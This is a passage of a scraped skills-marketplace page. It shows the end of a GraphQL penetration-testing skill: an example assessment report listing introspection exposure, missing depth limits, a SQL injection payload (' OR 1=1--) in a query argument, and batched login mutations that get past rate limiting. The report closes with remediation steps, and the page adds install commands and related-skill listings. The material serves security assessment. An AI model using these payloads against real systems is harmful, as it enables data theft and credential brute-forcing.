HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.\n\n### Scenario 4: Nested Query DoS\nA social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.\n\n## Output Format\n\n```\n## GraphQL Security Assessment Report\n\n**Target**: https:\u002F\u002Ftarget.example.com\u002Fgraphql\n**Engine**: Apollo Server 4.x\n**Assessment Date**: 2024-01-15\n\n### Findings Summary\n| Finding | Severity | Status |\n|---------|----------|--------|\n| Introspection enabled in production | Medium | VULNERABLE |\n| Missing field-level authorization | High | VULNERABLE |\n| No query depth limit | High | VULNERABLE |\n| Batch query rate limit bypass | High | VULNERABLE |\n| GraphiQL IDE exposed | Low | VULNERABLE |\n| SQL injection in user query | Critical | VULNERABLE |\n| CSRF on mutations | Medium | PASS (custom header required) |\n\n### Critical: SQL Injection via user Query\n**Location**: `user(name: String)` query argument\n**Payload**: `{ user(name: \"' OR 1=1--\") { id email role } }`\n**Impact**: Full database read access via GraphQL interface\n\n### High: Batch Authentication Bypass\n**Location**: POST \u002Fgraphql (array body)\n**Payload**: Array of 100 login mutations in single request\n**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request\n\n### Recommendation\n1. Disable introspection in production environments\n2. Implement field-level authorization on all sensitive fields\n3. Set query depth limit (max 7-10 levels)\n4. Set query complexity limit and cost analysis\n5. Disable or rate-limit batch queries\n6. Remove GraphiQL\u002FPlayground from production\n7. Parameterize all database queries in resolvers\n```\n",{"name":5,"note":25,"tags":26,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43,"source_commit":49},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32],"penetration-testing","graphql","api-security","owasp","web-security","introspection","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47,48],"T1190","T1059.007","T1505.003","T1083","T1055","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fperforming-graphql-security-assessment",1,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-11 23:56:26",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-graphql-security-assessment",{"tool":66,"command":67},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-graphql-security-assessment",{"tool":69,"command":70},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-graphql-security-assessment","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-graphql-security-assessment\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",1404,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-graphql-security-assessment\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",7757,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-graphql-security-assessment\u002Fscripts\u002Fagent.py",[91,99,106,114,122,130],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":118,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]